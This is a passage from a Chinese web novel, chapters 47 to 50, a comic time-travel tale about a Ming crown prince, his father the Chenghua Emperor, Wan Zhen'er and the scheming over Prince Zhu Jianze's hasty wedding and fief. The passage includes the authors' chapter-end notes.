“臭小子。”朱见深几乎咬牙切齿。“这小混球,怎么敢的。就不怕朕给你打一顿,再上一节课的思想品德课。” 朱佑棱:“” 又被朱见深用咯吱窝夹住脑袋的朱佑棱简直快绝望了。 他拼命的挥手,试图打中朱见深。结果没有,反正朱见深就是准备狠狠的收拾朱佑棱一顿。 没曾想,好戏没开锣,小小的老子,就被朱见深突如其来的一个屁给给‘崩’了。 “啊啊啊,混蛋,快放开小小的老子。娘亲,娘亲快来救崽啊,父皇窜稀,急需太医。”—— 作者有话说:更新o(* ̄︶ ̄*)o 大家晚安! 么么哒![狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第47章 第047章 “臭小子,说谁窜稀呢!”…… “臭小子, 说谁窜稀呢!” 朱见深真的超级生气,不止一次想要大义灭亲,胖揍倒灶儿子一顿。但可惜最终还是没有下得去那个毒手, 不过朱见深拎着朱佑棱, 让他好好的在墙角跟反省。 朱佑棱试图狡辩自己的顽皮。 “孤只是做着好玩, 谁让父皇硬要看的。” 朱见深黑脸, “朕说的不是这点。” “那父皇屁蹦儿, 也不能怪儿子啊。分明就是父皇吃多了, 导致肠胃不适。” “你说朕窜稀。”朱见深几乎咬牙切齿的道。“你好歹一国太子, 在你口中就没有优雅含蓄的说辞?” 咦?貌似小亲爹重点抓错了! 朱佑棱墙角跟站着, 那双水汪汪的大眼睛全是庆幸。 “那说出恭?父皇你出恭没脱裤子?” 朱见深:“” 有时候真的想将臭小子揍一顿! 朱见深深呼吸, 控制住暴躁的情绪后, 刚想说什么的时候,只见钟粹宫的人匆匆来请,说是二皇子不太好。 朱见深:“他不好请太医啊,告诉朕,朕难道还能立马摇身一变成太医, 给看病不成。” 朱佑棱深以为然的点头, 刚想挪动jiojio的时候,眼尖的朱见深注意到了。 “你站着别动,今儿朕把话放在这儿, 你要是敢动,朕今儿必定狠狠的抽你一顿, 哪怕贞姐请求,朕也不可能放过你。” 朱佑棱:“” 钟粹宫来的宫人,低头垂目,不敢吭声, 也不敢走。主要没达到目的,怕回去吃了挂落。 然而要是朱见深能被这么简单的劫人手段给劫走,他就不叫朱见深。更别说现在的他恼火得不得了,连一直捧在手中的朱佑棱都教训,何况是被太医断定活不过3岁,注定早夭的次子。 眼瞅着钟粹宫来的人不走,恼火的朱见深直接让怀恩公公亲自去钟粹宫瞧瞧,要是朱佑极真的生病了,那还好,如果没有,而真是劫人的手段,那么白嫔估计会吃挂落。别的不说,朱见深不情不愿给她升的份位,绝对会回到原来的才人。 怀恩来去匆匆,不过一刻钟左右,就回来禀告说朱佑极的确病了,但也没有白嫔说的那般严重,只是天气变化,小孩子抵抗力弱偶感风寒罢了。 只要精细养着,按时吃药,朱有棱很快就会好。 “看来这白氏不适合养孩子。” 怀恩赶紧回话。“最近几日白嫔娘娘总爱去太后娘娘那儿,奴婢琢磨白嫔娘娘的意思,貌似是想将二皇子殿下抱给太后娘娘养。” 朱见深:“” “真会想。”朱见深一言难尽的道。“朕还不知朕的后宫,居然有这样会想之人。” “不止有,还不少。”这话不是怀恩公公说的,而是被罚站的朱佑棱。 不对,现在的他已经没被罚站了。溺爱儿砸的万贞儿,在朱佑棱被罚站墙角跟不过一炷香的时间,就心疼得不得了。 赶紧让朱佑棱休息,哪怕朱见深抗议万贞儿偏心,万贞儿也不管。只说朱佑棱还是个孩子,朱见深都是大人了,还是做父亲的,怎么能跟自己的儿子一般计较。 反正现在朱见深一想到万贞儿护兔崽子的行为,就酸儿吧唧,觉得万贞儿对他的爱,稍微转移亿点点到朱佑棱身上。 “大人说话,小孩子插什么嘴。”朱见深瞪眼,表示自己还在生气。 “娘亲,你看看父皇。”朱佑棱哼哼,开始正大光明的告状。“好小气一男的,居然跟幼崽计较。” “你啊!”万贞儿点点朱佑棱的脑袋,哭笑不得的说。“你反正不撩拨你父皇,你就心里不舒坦吧。” “没有呢!儿子说的事实。本来父皇后宫有想法的人,就挺多的。”朱佑棱摇头晃脑,还感叹的说。 “当初秀女入宫,咱们就没看出来,都是有想法的人呢。还是说紫禁城的风水养人,在里面住了一段时间后,就都开始有了变化。” 看着老实本分的人,变成略有心计,再从略有心计进化成心机深沉。 不过到底年轻,不懂得万贞儿和朱佑棱之间的感情,是旁人拆不散的。 就那小卡拉米的手段,他这个5岁大的孩子,都看得清清楚楚。 真差劲! 怪不得他的美人亲娘,连‘斗一斗’的心思都没有。 “父皇你怎么想的?”朱佑棱突然凑近,超级好奇的询问道。“孤觉得吧,如果白嫔再这样继续养着二弟,说不得二弟真的会按照太医所说的那样夭折哦!” 朱见深:“夭折就夭折呗,谁让他摊上这么不靠谱的亲娘。” 啊这!果然是渣男惯会的伎俩,穿上裤子就不认账。倒不是同情,毕竟小亲爹渣得明明白白,不可能用后世的道德观要求小亲爹。再说了,后世的那些男人,也不一定有小亲爹渣得这么明白。 仔细一琢磨,别说,感觉还挺正常,是他小亲爹能干出来的事情。 “深郎,你这样不好,到底是一条生命。”万贞儿开口了,很是认真的说。“既然白嫔照顾不好二皇子,那就换个人来照顾。” 说到这儿,万贞儿却是露出意味深长的笑容。 “吴妃一直想要抱养孩子,不如深郎就满足他的心愿好了。” 不出意外,在万贞儿的意料中,朱见深摇头拒绝,还说吴氏心大,公主可以考虑抱给她养,但皇子绝对不可能。 “那吴嫔就有得等了。”朱佑棱听懂了,感叹道。 “有得等总比没得等强。” “也是。” 几人算是三言两语,决定了白嫔以及二皇子(朱佑极)的命运。而吴氏呢,心心念都是抱养白嫔生的二皇子,结果一招算计全然落空,吴氏深感失落,越发的低调透明。 消息传到柏氏耳朵里,只骂了一句装模作样。他可不敢奢望抱养白嫔生的二皇子。 想来二皇子要吗被周太后接去抚养,要吗被某个太妃抚养。而她绝对不可能抱养二皇子。 “哎,倒是公主可以奢望一二。”柏氏叹气,到底还是将蠢蠢欲动的心按捺下去。 其他宫的嫔妃反应不一,目前正怀着身孕的季才人,就是一阵惶恐。 季才人怀的这一胎,便是成化7年出生的朱佑樘。原本朱佑樘的生母,该是纪淑妃。 但纪淑妃已经无了,就有了一位姓季的才人代替。而柏氏,即使没死,却被绝了生育的可能,也有了替代她的白嫔。 如今季才人怀孕不过三月,却实在胆战心惊。和白嫔的‘异想天开’不同的是,季才人有点儿蛇精病,就是那种‘总有刁民想害朕’的心态。 自从怀孕后,季才人就战战兢兢,深怕有人谋害,根本就不敢随意探出住所。 原本她和白嫔住在一块儿的,可自从季才人怀孕后,就搬离钟粹宫住到了景仁宫。 如今偌大的景仁宫,就住着她一个主子,按照规矩她该住后殿的,但她偏偏住在偏殿,换句话说,现在的季才人已经预定了嫔位。 嫔以及贵人住偏殿,妃住正殿。季才人认为自己只要平安生下肚子里的三皇子,定能和白嫔一样成为季嫔。可她万万没想到,白嫔对她很讨厌,已经好几次针对她了。 季才人只能庆幸现在不住一块儿了,还暗自高兴了一段时间,结果今儿又有消息传来,季才人听了,整个人特别的惶恐不安。 她害怕自己会像白嫔一样,连亲自抚养皇嗣的资格都没有。但她又不敢找朱见深说自己绝对不会像白嫔一样,认不清自己,于是乎,整天疑神疑鬼,战战兢兢的季才人,在成化七年5月的时候,将自己作成了早产,朱佑樘生下来皱皱巴巴,看着比朱佑极还要弱小。 不过太医诊断,说是身子骨还算不错,好好养着是能活过成年的。不过季才人思虑过重,难产的时候又受了一番折磨,最终虽是平安生下孩子,但身体却是败坏了,仔细养着也就几年好活。 就连万贞儿听到太医的诊断,都觉得稀奇。 “思虑过重,她有什么好思虑的?”万贞儿冷哼道。“别是像那白嫔一样,脑壳有包,喜欢想象外人害她吧。” 汪太医不敢随意搭话,只将自己的诊断说了,就安静的立在一旁。 万贞儿开始琢磨,越琢磨越是感觉好笑。 许久之后,再次哼了哼,又道。“既然这样,那让白才人好好养着身体吧。对了,三皇子的洗三就免了,本宫可不想再出什么意外。免得天下人还以为本宫容不下人呢。” 她的确挺小心眼,不太待见朱见深为了传宗接代纳的嫔妃。如果朱佑棱如梦中那般夭折,万贞儿或许会想方设法的折腾他们。可朱佑棱活得好好的。 健健康康的朱佑棱让万贞儿整颗心都变得十分柔软,依然不待见,却不会主动去杀害,甚至于有时候心情好,还会散发自己不可多得的善心。 现在呢,万贞儿就觉得,果然白氏和季氏关系好到姐妹相称,就某种德性而言,还真的一模一样—— 作者有话说:更新o(* ̄︶ ̄*)o 第48章 第048章 “本宫不想多说什么,本宫…… “本宫不想多说什么, 本宫有儿子,不屑夺人子嗣。”万贞儿看向布满血污的产房,确定季才人能听到后,又继续说道。 “反正今儿本宫把话放在这儿, 季才人你且好好的养着身体, 三皇子自有宫人照顾, 不必担心哪位妃嫔将其抱走。” 整个皇宫, 以万贞儿为尊。拥有无上地位的万贞儿根本就没那个心思折腾进的新人。 朱见深这人一向将‘真心’和‘身体’分得明明白白, 用朱佑棱的话来说, 就是渣得明明白白。 万贞儿心知肚明, 对于朱见深的其他嫔妃不会产生嫉妒的情绪。说白了, 万贞儿就是把自己摆在正室的位置上。反正皇贵妃是副后, 王氏被废又被鸠杀后,就是整个皇宫名副其实的女主人,又怎么不算正室。 既然正室,那自然不可能像以往那般时不时的拈酸吃醋一回,说是情趣, 实则还是吃醋才会这样做。 现在好了, 有儿万事足。万贞儿高高在上,才不屑折腾小卡拉米。 这不,丢下这么一句话, 万贞儿直接离开景仁宫,连将瘦瘦小小的朱佑樘抱走的想法都没有。 又不是她生的, 凭什么让她抱走。能活就活,不能活,那就早死早超生。 就这么着,万贞儿如去时一般, 特别轻松的回到安喜宫。此时偌大的安喜宫十分的安静。 朱佑棱还在上书房读书呢,朱见深则是罕见的去慈安宫看望周太后,和周太后好好聊聊朱见泽的大婚事宜。 成化七年,又一次广选天下淑女。而这一回,后宫依然没进几个人,倒是朱见泽的正妃侧妃,都指定了。 正妃余氏,南城兵马指挥余信之女。侧妃李氏,为直隶人士农女出生。 一正妃一侧妃,李氏模样儿最好,余氏胜在小清新,再加上家世要比李氏好,也就做了正妃。 周太后的意思是,两人一起进门。朱见深呢,听到周太后的意思后,挺怀疑自己的耳朵是不是出了问题,不然怎么就听到了如此离谱的要求。 “母后,你不要搞事。”朱见深警告说。“按照规矩,正妃先进门。” “屁话!明明是侧妃先。” 周太后忍不住暴粗口,还抱怨说。“泽儿是哀家生的,难道哀家还能害了他不成。” 朱见深这时候看向鹌鹑一样坐着的弟弟,“六弟,母后说的,你怎么看。” 朱见泽:“谁先进门,我都没有意见。” “听见没。”朱见深强调说。“六弟也没有让正妃侧妃一同进门的想法。” 周太后:“这不是为了节俭嘛。” “母后先前还说六弟是母后最疼爱的儿子,现在嘿,六弟大婚节俭。” “就是就是。”朱见泽狂点头附和。 周太后顿时瞪向朱见泽,大有揍最疼爱小儿子的想法。 朱见泽:“母后你别这样,儿子还想顺顺利利的大婚,顺顺利利的去封地就藩呢!” 他多不容易啊! 哪怕亲哥登基做了皇帝,住在紫禁城他依然如履薄冰,时常提心吊胆,就怕亲娘突然性发癫把他又坑得不要不要的。 他真的早就盼着大婚,盼着从紫禁城滚出去了。 现在可好,亲娘又准备闹幺蛾子。就没想过正妃、侧妃一同娶进门,他是去正妃那儿歇着,还是去侧妃那里歇着。总不能上半夜在正妃那儿歇着,下半夜去侧妃那里歇着吧。 “又不是不可以。”周太后冷哼。 ——糟糕!将心里想法说了出来。 朱见泽冷汗津津,几乎快哭出腔来。“母后,你仔细看看儿子的小身板,真的扛不住啊,呜呜呜!” 朱见深拼命压制他那彷佛快要破口而出的笑意。 没办法,不止他被爱作妖的周太后折腾,就连朱见泽这老幺,也被折腾得□□。 看看现在,朱见泽这小可怜,连娶妻的欲|望都被折腾得快无了。一夜两次新郎什么的,哈哈哈哈!!! 朱见深终究憋不住哈哈大笑起来。 朱见泽顿时又把哀怨的眼神,放在了朱见深身上。还是不是亲哥?至于这样嘲笑他? 朱见深忍住笑。“行了,争取一个月内将两场婚礼办了就是。如果母后觉得自己没有那个能力主持六弟的大婚,那朕就拜托贞姐帮忙。实在不行,鹤归也是可以的。” 周太后:“” “皇贵妃娘娘帮忙就行了,太子殿下大可不必。”朱见泽干巴巴的笑了笑。 “怎么?怀疑鹤归没手段?” “不不不,太子殿下太有手段了,有时候弟弟都怕得罪了他这个小小的老子。” 一不小心,怕怕的朱见泽就说了朱佑棱的口头禅。 怎么说呢! 最近一段时间,其实朱佑棱已经不太说‘小小的老子’怎么怎么的了。 “那就这样。”朱见深瞄了一眼已经‘气’得说不出话来的周太后,由衷的叹了一口气。 “朕先下赐婚圣旨,后续一切事宜,朕会交给贞姐处理。母后你,就安定等着喝六弟的媳妇茶吧。” 周太后:“哀家怕喝了噎着。” “那就不喝。” 朱见深不想理会周太后的胡搅蛮缠,甚至走的时候,还把朱见泽‘顺’走了,免他被周太后叨叨叨的苦。 这一刻的朱见深光芒万丈,朱见泽简直感动坏了,跟着回安喜宫后,还对着万贞儿一直拍马屁。 正巧朱佑棱放学归来,看到朱见泽如此,顿时惊呼。 “六皇叔这样,莫非是吃错药了。” 朱见泽:“” 朱祁镇有9个儿子,死了两个,目前还剩七个。朱见泽排行六,前面二哥和五哥都已经大婚,并且已经前往封地就藩,小日子过得简直不要太爽。 朱见泽羡慕坏了,一直都盼着早点大婚早点前往封地就藩。如今希望达成,朱见泽真的超级激动,也就不计较朱佑棱对他的怀疑。 ——谁吃错药了,他这是高兴! “七弟对弟弟可是羡慕坏了。”朱见泽开始小嘴巴,说起老七朱见浚的情况来。 “哎!我倒是解脱了,可惜七弟还要煎熬三年。” “要不六皇叔不去就藩?”朱佑棱突然道。“孤在京城给六皇叔修一个五进的四合院,六皇叔就带着六皇婶他们一块儿住着!” 朱见泽:“???” 朱见泽惊恐无比的瞪大眼睛,不敢相信自己所听到的。 没有开玩笑吧! “太子殿下啊,你不要吓六叔,这样的爱,六叔真的承受不了。”朱见泽都快哭了,委屈巴巴的说。 如果没有周太后这样时常爱作妖的亲娘,其实朱见泽挺愿意住在京城的。可偏偏他们的亲娘周太后,他喜欢折腾啊。 时不时就折腾一回,真的能把人折腾得身心俱疲。长久以往这样下去,朱见泽真的怀疑自己会英年早秃。 朱见泽心有余悸的摸摸头发,这么飘逸黑亮的头发,可不能过早的离开他。 不然的话,他真的要哭死。 “哎,六皇叔,侄儿是真心为了你好。”朱佑棱背着手儿,笑眯眯的说。“你可是皇祖母最偏疼的小儿子,现在还好,可一旦六皇叔你去了封地就藩,难保皇祖母不会因为过多的思念你,从而频繁发懿旨,让六皇叔你,赶紧进京看望。” “六皇叔自然可以选择不听懿旨。但是吧,就皇祖母的脾气”朱佑棱笑得越发灿烂,就跟小恶魔似的。 朱佑棱继续说。“依着皇祖母的脾气,要是六皇叔不听召唤,大概思儿心切的皇祖母会收拾行李,跑去六皇叔的封地看望六皇叔,甚至在六皇叔那儿常住。” 朱见泽:“” 朱见深却是眼前一亮。 “明日,不,三日后六弟你就大婚,然后给朕滚去封地就藩。都大婚娶妻了,还赖在京城靠着朕养,算什么话。” 滚蛋! 赶紧给朕滚蛋! 未来能不能带走周太后,全靠朱见泽的不孝顺了。 “皇兄。”朱见泽眼泪汪汪,不敢置信的看着朱见泽。“你居然因为这样的原因,就要弟弟马上大婚。” “不然呢?”朱见深反问。“你也是母后的儿子,到时候母后跑去你的封地跟你住,也不算违背祖宗规矩。” 朱见泽:“母后是太后娘娘,该住紫禁城。” “朕是孝子,不能阻挡母后拳拳爱子之心。” 兄弟俩开始吵起来,万贞儿和朱佑棱看戏看的那叫津津有味,甚至万贞儿还笑着低声说朱佑棱狭促。 这小屁孩,分明是故意挑事。 不过话说回来,按照周太后的脾气,十有八|九还真会这样干。周太后的操作,从来只有更骚,没有最骚。 “哎。这是无法抗拒的命运。正如父皇和六皇叔不能选择生母,认命吧,反正皇祖母身体健康着呢,再作死几十年完全没有问题。” 正吵得欢的两兄弟:“” “鹤归,你六皇叔三日后大婚。”朱见深咬牙切齿,按头让朱见泽认下他想大婚疯了的事。“到时候由贞姐负责,鹤归啊,你记得帮你娘亲的忙。”—— 作者有话说:朱佑棱:啧,又是成功坑爹的一天! 第49章 第049章 “六皇叔大婚,不该皇祖母…… “六皇叔大婚, 不该皇祖母着手安排嘛?”朱佑棱一脸奇怪的说。“干嘛要叫娘亲帮忙,不怕皇祖母又发癫说娘亲心肝儿黑,想要变着花样儿害六皇叔?” 此言一出,直接让朱见深沉默了。而万贞儿笑容加深, 显然整个人都挺高兴。 这可是亲儿子的维护, 万贞儿接受良好, 并且欣喜多多的来。 “放心, 母后这等时候, 还是不会胡闹的。” 朱佑棱眼神充满怀疑, 其实朱见深和朱见泽这对兄弟, 同样很怀疑。毕竟爱作妖的周太后, 是他们的亲娘。作为她儿子的兄弟俩, 能不知晓周太后的德性。 就像当初钱太后合葬事宜,周太后一哭二闹三上吊,折腾得人鬼皆避,还是没达成目的之后安静下来。 那时候朱见深真的以为周太后安分了,结果谁知道啊, 要不是朱佑棱提醒, 朱见深估计到死都不知道,周太后那是死心认命和钱太后葬在一块儿。 而是暗搓搓的搞小动作,把人家正经两口子的棺木隔得远远的。把阳奉阴违这一招使的那叫一个如火纯清。 即便朱见深知道又怎么滴, 还不是默默改回来,不敢让周太后知道。免得周太后知道后, 作更大的妖。 不过重庆公主和朱见泽都知晓,都选择瞒着周太后,就怕周太后闹完朱见深,又跑来闹他们姐弟俩。 天知道重庆公主哪怕当了母亲, 有了孩子,依然时不时就被自己的老母亲弄得崩溃无语。 如果重庆公主知晓朱佑棱这小机灵鬼出了个馊主意,只需要牺牲朱见泽一人,就能换来她和朱见深的耳根清净,绝对会举着她生的两崽一起赞同。 朱见泽酝酿着,正要哭唧唧的表示自己真的承受不住来自周太后的拳拳母爱时,朱见深大手一挥,很有兄弟爱的接着道。“既然如此,那就让皇姐一同帮忙六弟你的大婚事宜。” 对,朱见深还是信了朱佑棱的鬼话,将朱见泽大婚时间定在了三日后。都没有看黄道吉日的意思,惹得朱见泽伤伤心心的哭了一场。然后第二天迎来戏剧的消息。 三日后的时间,恰好就是黄道吉日。而且是近几个月来日子最好一天,诸事皆宜。 朱见泽焉儿吧唧,完全没有当新郎官的兴奋。哪怕重庆公主接到通知,和万贞儿一块儿着手安排大婚事宜,朱见泽都没有高兴的劲儿。 朱佑棱围着他转了三圈,还是嫌弃他矫情。 “哪里矫情了。” “早点大婚吧。”朱佑棱感慨的说。“以后啊,六皇叔就能体会到住在京城的好处了。” 朱见泽这时候不服气了,“太子殿下怎么还这么说,就这么确定太后娘娘会不顾住着舒坦的慈安宫,千里昭昭前往跑到我的封地?” “六皇叔的封地,好像是在汝宁府的汝阳县?”朱佑棱突然道。“要不要找父皇改改?” “改?”朱见泽懵逼,不知道朱佑棱为何这样说。“为什么要改?” “汝阳县距离京师还算近,不如再往南边给六皇叔划拨封地。” “???”朱见泽看着笑容灿烂的朱佑棱,突然有了很不好的预感。 “等等”朱见泽怀疑满满的说。“太子殿下,你是不是又想坑我?” “哪呢,你可是我的嫡亲皇叔。”朱佑棱一本正经的说。“孤只是在想,皇祖母虽说酷爱作妖,但是吧,从小到大,皇祖母大概都没怎么出过远门,估计最远的路,就是进宫的那一回。所以呢,孤就在想,要是六皇叔的封地在海角天涯,大概皇祖母就没不会想着千里奔赴探望六皇叔。” 朱见泽:“” 从旁路过的朱见深眼前一亮,顿时欢喜至极的说。“对,是要给你留皇叔换封地。汝阳县还是太远,要不就良乡县吧!” 朱见泽:“” 朱佑棱:“” 汝宁府汝阳县,地理位置的话,后世河南省汝南县。良乡县呢,位于京城西南约30公里,是南方陆路进京的必经之地,设有驿站。 如果朱见泽的封地改成良乡县,那朱见泽前往封地就藩,算是‘就’了个寂寞,就30公里的距离,哈哈哈,周太后想儿子了,出宫一天就可以走个来回。 还想让周太后跟着朱见泽住封地,信不信这么短的距离,周太后会按照一周一三五七住紫禁城,二四六陪朱见泽住封地。 朱见泽如此搞,根本就达不成牺牲朱见泽一人,幸福他和重庆公主的期望。 “父皇你别搞。”朱佑棱叹息的将自己的猜测说了出来。“照你的想法,还不如把六皇叔留京居住,不去封地就藩呢。” 朱见深瞬间愣住了,他主要是没有深想,一旦顺着朱佑棱的话想下去。妈惹,老天娘,是他母后大人干得出来的事儿。 改封地可以,但绝对不能改近 “鹤归,朕觉得你说的海角天涯很不错。等朕琢磨琢磨,保证给六弟你选个好地方。” 朱见深转而语重深长的对朱见深说,反正不坑弟弟,誓不罢休。 朱见泽还能怎么着,亲娘是爱作妖的老作精,亲哥越发擅长坑亲弟,而亲姐 呵,这个时候,绝对讲究‘死道友不死贫道’。 如果他们三姐弟中注定有人要牺牲,换取其他二人的清净安宁,大概就只有他了,谁让爱作妖的老作精最偏疼的就是他。 “父爱如山,母爱如水六弟你记住,哪怕那份如水的爱已经泛滥成洪灾,六弟你也要承受住。朕和皇姐的轻松日子,就记挂你负责了。” 朱见泽:“” 真的好糟心的哥哥姐姐! 还是皇家呢! 呸! 逮着他坑吧! 朱见泽抹了抹眼泪,打算大婚之前都不理糟心的亲哥和糟心的侄儿。 对了,连糟心的大姐,糟心的大姐夫都不想理了。 就知道坑他! 朱见泽哭唧唧的跑回住所,身后还跟着朱佑棱这个小尾巴。 “哎呦,这里就是传说中的皇子所啊,挺别致的。” 朱佑棱口中的皇子所,其实就和清朝时期的阿哥所没什么区别。位置的话,位于紫禁城的东北部,斋宫和景阳宫的东侧,御花园的东南方向。 当然并不固定,像大明战神他们那一辈儿的皇子,大婚之前都住在慈宁宫,也就到了朱见深他们这一辈儿,才住到了所谓的皇子所。 皇子所的面积不大,也就一个个一进的院子,簇拥在一块儿。每个院子都挂着门牌号。 朱见泽的对门住的便是老七朱见浚。 朱见浚比朱见泽小了一岁,也是今年大婚。不过他不急,等朱见泽大婚过了等几个月,才轮到朱见浚大婚。 朱见浚挺满意这个的,没瞧见因为提前大婚的缘故,朱见泽都背地里哭唧唧好几回了。 朱佑棱揣着手手,走进皇子所的时候,朱见浚正翘着二郎腿,躺在院子中央摆放的美人榻上晒太阳。 “七皇叔,”朱佑棱主动打起招呼。“你好悠闲哦!” “不需要读书是这样的。” 朱见浚嘻嘻笑了笑,随即起身,朝着对门望了望。 “六哥又躲起来哭鼻子了?” “哪能呢,六皇叔只是心思敏感纤细了一点,不经常哭鼻子的。而且不需要躲。” 哪次不是正大光明的哭鼻子,惹得人哭笑不得。 “提前大婚好事啊,干嘛不高兴。”朱见浚又道。“看我,就挺羡慕的,可惜我亲娘不是太后娘娘。” 朱佑棱:“哎,没办法,谁让你出生的时候比孤的六皇叔还小一年呢,能当个藩王已经很不错了。” “对对对,你的对。”朱见浚嬉笑,一点都不在意朱佑棱的大实话。而本身,他就是随意说说的。 即便他真的从周太后肚子里出来的,但是 拜托,就周太后那个性子,他们的皇帝大哥都受不了,何况是他。他的亲娘挺好的,他就耐心的等大婚,之后再带着亲娘一起去封地就藩。 “可能七哥苦恼的是,不能带着太后娘娘一起去封地就藩吧。”朱见浚按照自己的理解,开始感叹朱见泽幸运。 朱佑棱:“?” 啊这! 朱见泽根本不是苦恼不能带周太后一块儿走,他是苦恼自己的封地会变成天涯海角,然后周太后太疼他,害怕周太后千里昭昭来看他。 一想到这个可能性,朱见泽就想哭。他一回住所,就呜呜的哭起来。 偏偏坑人的太子侄儿和异母弟弟在外面,说他和周太后母子情深。朱见泽深深觉得,今晚的他十有八|九会做噩梦。 “太子殿下。”朱见泽扬声喊道,“你不进来坐坐?” “不了。”朱佑棱摆手,也大声的说。“六皇叔好好休息,孤一会儿出宫去看看重庆姑姑,顺便和表弟交流一下感情。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第50章 第050章 重庆公主是朱祁镇和周太后…… 重庆公主是朱祁镇和周太后所出长女, 是朱祁镇的第一个女儿,哪怕朱见深出生后,她的地位都没有受到丝毫的威胁。 嫁给周景后,夫妻恩爱, 如今已经有了两个儿子。老大周忠现年4岁, 老二周孝现年2岁。 重庆公主想要个闺女, 目前正在努力追生三胎。当然现在嘛, 重庆公主正兴致勃勃的和周景讨论, 怎么把朱见泽的封地改到天涯海角去。 狼哥狼姐, 都比狠人多一点。 周景闷笑。“公主和万岁爷, 怎么逮着崇王殿下坑。” “没办法, 谁让母后只疼六弟。”重庆公主一点都不觉得自己是在坑弟弟。 即使坑了, 那又如何,又不是让那臭小子帮忙去死,只是让他帮忙牵制住周太后,给他们几年安生日子过而已。 “驸马你说说,这几年本宫是怎么过的。日子舒坦的确舒坦, 可熬不住母后酷爱折腾啊。宫里有万皇贵妃娘娘在, 其实能稍微压制住太后娘娘的。但本宫知道,万皇贵妃娘娘,也不敢做得太明显, 毕竟母后是太后,钱母后仙逝, 她便是宫里独一无二的以后娘娘。” 虽说朱见深和朱佑棱,时不时就要气一气周太后,但说实话,朱见深和朱佑棱都做得极其有分寸。确保周太后不会气死, 反而越气越健康。 “哎,看着这几年母后还好,可也仅仅是这几年而已。瞧着吧,等六弟大婚后,母后闲下来,大概又要变着花样儿作妖了。” 周景:“” 不知道该说什么话,毕竟他的丈母娘,的的确确堪称大明宫祠作妖第一人。 正当周景试着从别的地方安慰重庆公主的时候,门房来报,说是太子殿下来了。 顿时夫妻俩也顾不得说话,亲自出门迎接。 朱佑棱随着年岁增长,如今已有六岁,但是个头呢,嗯,也在长,但是体型一直保持胖乎乎的模样。 朱佑棱也就出生的时候瘦,毕竟是早产儿。可养起来后,朱佑棱身材方面,就和朱见深十足十的像,都是微胖体型。属于那种想要控制体型,就会喝水都胖。 对此朱佑棱也不在意,白胖就白胖呗,他现在是太子,未来是皇帝。都站在人生巅峰了,根本无需计较丑美。 再说,他本身长得又不算难看。说什么老朱家遗传猪腰子脸、鞋拔子脸,那纯属满清鞑子的污蔑。 “大皇姑,大姑父。”朱佑棱很亲切的打着招呼。 “今儿怎么有空出宫了?不去上书房学习?”重庆公主笑着道。 “今天休息。”朱佑棱回答说。“正因为休息无聊,所以孤跑去调侃六皇叔,没曾想六皇叔,嗯,又回了住所嗷嗷哭了。” 周景:“” 重庆公主一听这话,却是乐了。 “这这,你那六皇叔是挺爱哭的。小时候啊,还常被你二皇姑欺负的红眼睛。” 重庆公主口中所说的二皇姑,指的是嘉善公主,和朱见深同年所出,生日前后只相差半个月。 当初嘉善公主的生母王惠妃怀着她的时候,被太医‘误’诊为男胎,王惠妃当时超级高兴,还心大的宣称梦日入怀,给嘉善公主造势。 并且还赶在同样怀孕的周太后之前,早半个月把孩子生下来。结果一朝分娩,王惠妃见嘉善公主是女儿时有多崩溃,只得转而诅咒同样怀孕的周太后再次生女。 结果,周太后还真就先开花后结果,一举生下朱祁镇长子,也就是朱见深,顺利奠定了未来太后的身份。 嘉善公主成化二年出嫁,嫁的人是兵部尚书王骥之孙王增。如今育有一子王钦。 嘉善公主的公主府距离重庆公主的公主府不远,但是呢,两位公主并没有怎么有交际,相反各自的驸马,有些来往。 另外还有三公主淳安公主,成化三年下嫁锦衣卫军士蔡诚之子蔡震。同年出嫁的还有四公主崇德公主,下嫁兴济伯杨善之孙杨伟 至于其他公主,尚未及笄,还一块儿住在媖嫄居,类似公主所(乾西五所),也是未成年的公主所居住的地方。 朱佑棱和他们都没什么接触,有接触的,也不过嫡亲姑姑重庆公主一人。 朱佑棱今儿前来,其实主要是帮万贞儿问问重庆公主,有关朱见泽的大婚事宜准备得如何。 这不,刚扯到嘉善公主头上,话题就转了回来。朱佑棱人小鬼大,和重庆公主讨论了很久,眼瞅着时间晚了,朱佑棱婉拒重庆公主提出的留宿,还道。 “明天大皇姑倒是要留宿宫里了。” “这本是该的。”重庆公主顺势起身。“姑姑送送你。” 说罢就和驸马一起,将朱佑棱送出了公主府。而等朱佑棱利索的上了马车,往宫门的方向走时,重庆公主和周景才转身回公主府。 如今盛秋,选秀刚过,天气还未凉爽。此时蝉鸣依然聒噪不已,搅得人心烦意乱。 朱佑棱端坐在马车里,一边吃着点心,一边侧耳听着马车外的动静。 “铜钱,一会儿路过珍馐斋的时候停下,买他们家几样好吃的招牌点心。” 马车外赶车的铜钱赶紧应是。 铜钱可不是太监,而是大内侍卫,主要负责保护朱佑棱的安全。而铜钱的名字,是他的本名,朱佑棱可没有随便给人改名字的嗜好。 此时的天气,已经不那么热了。哪怕算算时间,24个秋老虎还没有过,天气依然凉爽。 朱佑棱坐在马车里吃东西,都不需要摆放冰盆降温,也没有吃得满头是汗。 很快,马车在珍馐斋店门前停下,铜钱下车,付钱买了二十盒糕点。主要珍馐斋的糕点都挺好吃的,而这二十盒糕点,算是他们店卖得最好的。 铜钱拎着糕点,刚上马车,就碰到淳安公主府的人,趾高气昂,挺不客气的问店家还有糕点没。 自然是还有的。不过最贵的一款添加有金箔的云片糕,最后一盒被铜钱买了。 淳安公主府的人知道后,居然让铜钱让出来。 朱佑棱出宫,自然不会穿太子朝服,而是穿的便服。再加上乘坐的马车,外观很朴素,就是普普通通的青幔马车,淳安公主府的人,自然觉得,得罪得起。 只见那位长得不咋地,还吊三眼的管事,脸上露出不屑的神色。他大步流星地走到马车前,还用刀鞘不客气地敲了敲车厢壁。 “喂!里面的!听见没有?你刚买的金箔云片糕,我们公主府要了!赶紧拿出来,银子少不了你的!” 朱佑棱:哪里来的憨批! “公主府,哪位公主?” “自然是先帝爷生前最宠爱的公主,淳安公主。” “???”朱佑棱诧异万分,忍不住疑惑道。“先帝爷生前最疼爱的,不是和当今圣上一母同胞的重庆公主,这淳安公主又是从哪里钻出来的。” “这位管事,凡事有个先来后到。这糕点既然我们已经买下,便是我们的了。公主殿下若想吃,可让店家明日预留便是。”铜钱态度还算温和的说。 “嘿!给你脸了是吧?” 三角眼管事见铜钱说话文文弱弱,只当是哪个富商家的护院,更加肆无忌惮。 “公主殿下金枝玉叶,想吃的东西,还能等到明天?少废话!赶紧把糕点交出来,否则,别怪我们不客气!” 